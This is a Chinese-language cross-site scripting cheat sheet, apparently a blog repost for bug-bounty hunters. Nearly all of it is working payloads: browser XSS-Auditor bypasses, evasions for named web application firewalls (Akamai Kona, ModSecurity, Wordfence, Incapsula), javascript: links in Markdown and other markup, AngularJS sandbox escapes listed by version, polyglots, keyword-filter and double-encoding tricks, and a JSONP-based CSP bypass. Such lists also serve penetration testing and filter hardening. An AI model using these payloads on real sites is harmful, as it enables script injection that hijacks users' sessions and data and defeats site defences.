XSS笔记-来源于个人思路构造以及网络分享

XSS渗透笔记

javascript禁用后用于提升漏洞危害，适用于SRC挖掘

1. "><style>body{display:none}</style>

Chrome XSS-Auditor 绕过 by @vivekchsm

1. <svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Chrome < v60 beta XSS-Auditor 绕过

1. <script src="data:,alert(1)%250A-->

Other Chrome XSS-Auditor 绕过

1. <script>alert(1)</script

1. <script>alert(1)%0d%0a-->%09</script
2. ``````html
3. <x>%00%00%00%00%00%00%00<script>alert(1)</script>

Safari XSS 向量 by @mramydnei

1. <script>location.href;'javascript:alert%281%29'</script>

XSS 变种 by Ahmed Elsobky

1. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Kona WAF (Akamai) 绕过

1. \');confirm(1);//

ModSecurity WAF 绕过 注意:这取决于应用程序设置的安全级别。参见:GitHub - SpiderLabs/ModSecurity: ModSecurity is an open source, cross platform web application firewall (WAF) engine for Apache, IIS and Nginx that is developed by Trustwave's SpiderLabs. It has a robust event-based programming language which provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring, logging and real-time analysis. With over 10,000 deployments world-wide, ModSecurity is the most widely deployed WAF in existence.

1. <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS 绕过

1. <meter onmouseover="alert(1)"

1. '">><div><meter onmouseover="alert(1)"</div>"

1. >><marquee loop=1 width=0 onfinish=alert(1)>

Incapsula WAF 绕过 by @i_bo0om

1. <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>

1. <img/src=q onerror='new Function`al\ert\`1\``'>

jQuery < 3.0.0 XSS by Egor Homakov

1. $.get('http://sakurity.com/jqueryxss')

为了真正利用这个jQuery XSS，你需要满足以下要求之一:

1)发现任何跨域请求到不受信任的域，可能会无意中执行脚本。 2)找到任何可以将脚本注入数据源的可信API端点的请求。

URL 验证绕过 （没有 也行)

1. javas	cript://www.google.com/%0Aalert(1)

Markdown XSS

1. [a](javascript:confirm(1))

1. [a](javascript://www.google.com%0Aprompt(1))

1. [a](javascript://%0d%0aconfirm(1))

1. [a](javascript://%0d%0aconfirm(1);com)

1. [a](javascript:window.onerror=confirm;throw%201)

1. [a]: (javascript:prompt(1))

1. [a]:(javascript:alert(1)) //Add SOH Character

Flash SWF XSS
_Note:关于构建基于flash的XSS有效负载的有用参考资料[MWR Labs](https://labs.mwrinfosecurity.com/blog/poppingalert1 -in-flash/)._Lightweight Markup Languages
RubyDoc (.rdoc)

1. XSS[JavaScript:alert(1)]

Textile (.textile)

1. "Test link":javascript:alert(1)

reStructuredText (.rst)

1. `Test link`__.
3. __ javascript:alert(document.domain)

Unicode 编码

1. †‡•＜img src=a onerror=javascript:alert('test')>…‰€

AngularJS 模板注入 XSS
要对活动目标进行手动验证，请使用“angular”。版本'在您的浏览器控制台1.0.1 - 1.1.5 by Mario Heiderich (Cure53)

1. {{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1 by Jan Horn (Google)

1. {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)

1. {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18 by Jan Horn (Google)

1. {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23 by Mathias Karlsson

1. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)

1. {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0 by Gábor Molnár (Google)

1. {{!ready && (ready = true) && (
2. !call
3. ? $$watchers[0].get(toString.constructor.prototype)
4. : (a = apply) &&
5. (apply = constructor) &&
6. (valueOf = call) &&
7. (''+''.toString(
8. 'F = Function.prototype;' +
9. 'F.apply = F.a;' +
10. 'delete F.a;' +
11. 'delete F.valueOf;' +
12. 'alert(1);'
13. ))
14. );}}

1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)

1. {{
2. {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
3. 'a'.constructor.prototype.charAt=''.valueOf;
4. $eval('x=alert(1)//');
5. }}

1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)

1. {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
3. 'a'.constructor.prototype.charAt=[].join;
4. $eval('x=alert(1)//'); }}

1.3.19 by Gareth Heyes (PortSwigger)

1. {{
2. 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
3. $eval('x=alert(1)//');
4. }}

1.3.20 by Gareth Heyes (PortSwigger)

1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)

1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8 by Ian Hickey

1. {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11 by Jan Horn (Google)

1. {{
2. c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
3. c.$apply=$apply;c.$eval=b;op=$root.$$phase;
4. $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
5. C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
6. B=C(b,c,b);$evalAsync("
7. astNode=pop();astNode.type='UnaryExpression';
8. astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
9. astNode.argument={type:'Identifier',name:'foo'};
10. ");
11. m1=B($$asyncQueue.pop().expression,null,$root);
12. m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
13. $eval('a(b.c)');[].push.apply=a;
14. }}

1.6.0+ (no Expression Sandbox) by Mario Heiderich (Cure53)

1. {{constructor.constructor('alert(1)')()}}

Content Security Policy (CSP) 绕过 ，通过 JSONP
获取目标 CSP:

1. curl -I http://example.com | grep 'Content-Security-Policy'

现在，我们可以使用谷歌dork在上面列出的域中找到一些JSONP端点。

1. site:example.com inurl:callback

多语种XSS测试

1. javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

调用函数的 JS 模板字面量

1. <svg onload=alert`1`></svg>
2. <script>alert`1`</script>

避免关键字和特定子字符串，如已经在JS代码里

1. (alert)(1)
2. globalThis[`al`+/ert/.source]`1`
3. this[`al`+/ert/.source]`1`
4. [alert][0].call(this,1)
5. window['a'+'l'+'e'+'r'+'t']()
6. window['a'+'l'+'e'+'r'+'t'].call(this,1)
7. top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
8. (1,2,3,4,5,6,7,8,alert)(1)
9. x=alert,x(1)
10. [1].find(alert)
11. top["al"+"ert"](1)
12. top[/al/.source+/ert/.source](1)
13. al\u0065rt(1)
14. al\u0065rt`1`
15. top['al\145rt'](1)
16. top['al\x65rt'](1)
17. top[8680439..toString(30)](1)

改变大小写
有时，正则表达式或其他定制过滤器会进行区分大小写的匹配。然后，您可以只使用 toLowerCase()，例如：

1. globalThis["aLeRt".toLowerCase()]

双重编码
有时应用程序会在再次解码之前对字符串执行 XSS 过滤，这会使过滤器绕过打开它。这非常罕见，

1. 字符 双编码
2. < %253C
3. > %253E
4. ( %2528
5. ) %2529
6. " %2522
7. ' %2527

如果想学好XSS慢慢研究学习相关的模板语言。

XSS

XSS干货-来源于个人思路构造以及网络分享 - 好黑客